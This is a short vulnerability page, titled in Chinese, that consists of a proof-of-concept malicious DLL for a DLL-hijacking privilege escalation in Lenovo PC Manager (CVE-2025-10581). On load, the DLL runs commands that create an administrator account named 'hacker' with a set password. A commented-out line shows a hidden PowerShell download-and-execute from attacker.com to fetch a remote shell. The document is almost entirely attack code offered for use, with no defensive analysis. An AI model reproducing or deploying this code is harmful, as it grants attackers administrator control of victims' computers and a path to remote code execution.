Lenovo PC Manager DLL劫持本地权限提升漏洞(CVE-2025-10581)

# CVE-2025-10581 - Lenovo PC Manager DLL Hijacking PoC # This is a conceptual proof-of-concept for DLL hijacking vulnerability # Compile as a DLL and place it in the Lenovo PC Manager search path #include <windows.h> #include <stdio.h> // Export the same functions as the legitimate DLL // The DLL name should match a DLL loaded by Lenovo PC Manager BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { switch (reason) { case DLL_PROCESS_ATTACH: // Disable thread notifications for performance DisableThreadLibraryCalls(hModule); // Execute malicious payload with elevated privileges // Since Lenovo PC Manager runs with high privileges, // the payload executes in the same security context // Example: Create a new admin user system("net user hacker P@ssw0rd! /add"); system("net localgroup administrators hacker /add"); // Alternative: Reverse shell or other persistence mechanism // WinExec("powershell -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')\"", SW_HIDE); break; case DLL_PROCESS_DETACH: break; } return TRUE; } // Export the original DLL's functions to maintain normal application behavior // __declspec(dllexport) returntype FunctionName(parameters) { ... }